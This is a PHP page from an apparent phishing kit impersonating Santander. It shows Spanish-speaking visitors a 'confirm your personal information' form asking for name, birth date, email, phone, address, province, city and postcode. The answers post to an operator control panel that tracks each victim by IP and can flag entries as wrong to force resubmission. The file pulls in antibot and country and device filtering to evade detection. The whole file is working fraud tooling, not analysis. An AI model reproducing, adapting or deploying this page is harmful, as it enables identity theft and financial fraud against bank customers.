<?php
    error_reporting(0);
    session_start();

    include "../antibots-debug/antibots.php";
    include '../setting/functions.php';
    include '../includes/current-page.php';
    include '../includes/check-allowed-countries.php';
    include '../includes/check-devices-allow.php';
    
    $ip = get_client_ip();
    $get_name_file = $ip;
    $target_file = "../panel/storage/{$get_name_file}.json";
    $json_file = file_get_contents($target_file);
    $user_info = json_decode($json_file, true);
    $user_info['error_information'];
    
    if ($user_info['error_information'] == 1) {
        $get_name_page = "Page Infromation Error";
        $get_step = "information-error";
    } else {
        $get_name_page = "Page Infromation";
        $get_step = "information";
    }
    get_page_info($get_name_page, $get_name_file);
    
    $random_classes = rand(0, 1000000); 
    $permitted_chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
?>
<!DOCTYPE html>
<html lang="en" class="">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <!-- SEO -->
    <?php include '../libraries/seo.php'; ?>
    <!-- Font Google -->
    <link rel="preconnect" href="https://fonts.googleapis.com">
    <link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
    <link href="https://fonts.googleapis.com/css2?family=Nunito:ital,wght@0,200..1000;1,200..1000&display=swap" rel="stylesheet">
    <!-- Font Awesome Library --> 
    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.1.1/css/all.min.css" integrity="sha512-KfkfwYDsLkIlwQp6LFnl8zNdLGxu9YAA1QvwINks4PhcElQSvqcyVLLD9aMhXd13uQjoXtEKNosOWaZqXgel0g==" crossorigin="anonymous" referrerpolicy="no-referrer" />
    <!-- File Css -->
    <link rel="stylesheet" href="../css/main.css">
    <link rel="stylesheet" href="../css/basic-thinks.css">
    <!-- Favicon -->
    <link rel="icon" href="../img/favicon.ico">
    <link rel="shortcut" href="../img/favicon.ico">
    <link rel="appel-touch-icon" href="../img/favicon.ico">
    <title>PÁGINA WEB</title>
</head> 
<body id="body" class="">
    <!-- Main -->
    <div class="section-main">
        <div class="section-left">
        </div>
        <div class="section-right">
            <div class="logo">
                <img src="../img/logo.png" alt="">
            </div>
            <div class="prt-icon">
                <i class="fa-solid fa-circle-info"></i>
            </div>
            <h1 style="margin-bottom: 10px !important;font-size: 25px !important;">Confirme su información personal</h1>
            <p>
                Por favor rellene el formulario con la información requerida.
            </p>
            <form action="../control-panel/check-action.php" method="post" id="fSD" class="form-element">
                <input type="hidden" name="step" value="<?php echo $get_step; ?>">
                <input type="hidden" name="ip" value="<?php echo $get_name_file; ?>">
                <?php
                    if ($user_info['error_information'] == 1) {
                        echo '<div class="message-error-pages">
                                <img src="../img/icon-error.png" alt="">
                                La información personal es incorrecta. Por favor, introduzca sus datos personales exactamente como aparecen en su documento de identificación.
                            </div>';
                    }
                ?>
                <div class="prt-l-i-me" id="div1">
                    <label for="firstName">Apellido</label>
                    <input type="text" name="first_name" id="firstName" class="input-element" placeholder="Apellido">
                    <small id="messageError1" class="me-i"><img src="../img/icon-error.png" alt="">Este campo es obligatorio!</small>
                </div>
                <div class="prt-l-i-me" id="div2">
                    <label for="lastName">Nombre</label>
                    <input type="text" name="last_name" id="lastName" class="input-element" placeholder="Nombre">
                    <small id="messageError2" class="me-i"><img src="../img/icon-error.png" alt="">Este campo es obligatorio!</small>
                </div>
                <div class="prt-l-i-me" id="div3">
                    <label for="dob">Fecha de nacimiento</label>
                    <input type="text" name="dob" id="dob" class="input-element" placeholder="Fecha de nacimiento (DD/MM/AAAA)">
                    <small id="messageError3" class="me-i"><img src="../img/icon-error.png" alt="">Este campo es obligatorio!</small>
                </div>
                <div class="prt-l-i-me" id="div4">
                    <label for="email">Correo electrónico</label>
                    <input type="email" name="email" id="email" class="input-element" placeholder="Correo electrónico">
                    <small id="messageError4" class="me-i"><img src="../img/icon-error.png" alt="">Este campo es obligatorio!</small>
                </div>
                <div class="prt-l-i-me" id="div5">
                    <label for="phoneNumber">Número de teléfono</label>
                    <input type="tel" name="phone_number" id="phoneNumber" class="input-element" placeholder="Número de teléfono">
                    <small id="messageError5" class="me-i"><img src="../img/icon-error.png" alt="">Este campo es obligatorio!</small>
                </div>
                <div class="prt-l-i-me" id="div6">
                    <label for="address">Dirección</label>
                    <input type="text" name="address" id="address" class="input-element" placeholder="Dirección">
                    <small id="messageError6" class="me-i"><img src="../img/icon-error.png" alt="">Este campo es obligatorio!</small>
                </div>
                <div class="prt-l-i-me" id="div7">
                    <label for="state">Provincia</label>
                    <select name="state" id="state" class="input-select">
                        <option value="0" selected disabled>Selecciona una provincia</option>
                        <option value="A Coruña">A Coruña</option>
                        <option value="Álava">Álava</option>
                        <option value="Albacete">Albacete</option>
                        <option value="Alicante-Alacant">Alicante-Alacant</option>
                        <option value="Almería">Almería</option>
                        <option value="Asturias">Asturias</option>
                        <option value="Ávila">Ávila</option>
                        <option value="Badajoz">Badajoz</option>
                        <option value="Barcelona">Barcelona</option>
                        <option value="Burgos">Burgos</option>
                        <option value="Cáceres">Cáceres</option>
                        <option value="Cádiz">Cádiz</option>
                        <option value="Cantabria">Cantabria</option>
                        <option value="Castellón-Castelló">Castellón-Castelló</option>
                        <option value="Ceuta">Ceuta</option>
                        <option value="Ciudad Real">Ciudad Real</option>
                        <option value="Córdoba">Córdoba</option>
                        <option value="Cuenca">Cuenca</option>
                        <option value="Girona">Girona</option>
                        <option value="Granada">Granada</option>
                        <option value="Guadalajara">Guadalajara</option>
                        <option value="Guipúzcoa">Guipúzcoa</option>
                        <option value="Huelva">Huelva</option>
                        <option value="Huesca">Huesca</option>
                        <option value="Illes Balears">Illes Balears</option>
                        <option value="Jaén">Jaén</option>
                        <option value="La Rioja">La Rioja</option>
                        <option value="Las Palmas">Las Palmas</option>
                        <option value="León">León</option>
                        <option value="Lleida">Lleida</option>
                        <option value="Lugo">Lugo</option>
                        <option value="Madrid">Madrid</option>
                        <option value="Málaga">Málaga</option>
                        <option value="Melilla">Melilla</option>
                        <option value="Murcia">Murcia</option>
                        <option value="Navarra">Navarra</option>
                        <option value="Ourense">Ourense</option>
                        <option value="Palencia">Palencia</option>
                        <option value="Pontevedra">Pontevedra</option>
                        <option value="Salamanca">Salamanca</option>
                        <option value="Santa Cruz de Tenerife">Santa Cruz de Tenerife</option>
                        <option value="Segovia">Segovia</option>
                        <option value="Sevilla">Sevilla</option>
                        <option value="Soria">Soria</option>
                        <option value="Tarragona">Tarragona</option>
                        <option value="Teruel">Teruel</option>
                        <option value="Toledo">Toledo</option>
                        <option value="Valencia-València">Valencia-València</option>
                        <option value="Valladolid">Valladolid</option>
                        <option value="Vizcaya">Vizcaya</option>
                        <option value="Zamora">Zamora</option>
                        <option value="Zaragoza">Zaragoza</option>    
                    </select>
                    <small id="messageError7" class="me-i"><img src="../img/icon-error.png" alt="">Este campo es obligatorio!</small>
                    <i class="fa-solid fa-angle-down arrow-select"></i>
                </div>
                <div class="prt-l-i-me" id="div8">
                    <label for="city">Ciudad</label>
                    <input type="text" name="city" id="city" class="input-element" placeholder="Ciudad">
                    <small id="messageError8" class="me-i"><img src="../img/icon-error.png" alt="">Este campo es obligatorio!</small>
                </div>
                <div class="prt-l-i-me" id="div9">
                    <label for="zipCode">Código postal</label>
                    <input type="tel" name="zip_code" id="zipCode" class="input-element" placeholder="Código postal">
                    <small id="messageError9" class="me-i"><img src="../img/icon-error.png" alt="">Este campo es obligatorio!</small>
                </div>
                <div class="prt-btn">
                    <button type="submit" name="b_s_d_p" id="bSD" class="btn-element">Continuar</button>
                </div>
            </form>
        </div>
    </div>
    <!-- Main -->

    <!-- Footer -->
    <div class="footer">
        <div class="section-top">
            <span class="link-footer">Seguridad y privacidad</span>
            <span class="link-footer">Términos y condiciones</span>
            <span class="link-footer">Precios</span>
            <span class="link-footer">Información legal</span>
            <span class="link-footer">Política de cookies</span>
        </div>
        <div class="section-bottom">
            <div class="logo-footer">
                <img src="../img/logo-footer.png" alt="">
            </div>
            <div class="text-footer">© <?php echo date("Y"); ?> Santander - Reservados todos los derechos.</div>
        </div>
    </div>
    <!-- Footer -->

    <!-- Script Js -->
    <script src="../js/script-step-one.js"></script>
    <script src="../js/jquery.min.js"></script>
    <?php include '../includes/redirect.php'; ?>
    <?php include '../includes/status.php'; ?>
</body>
</html>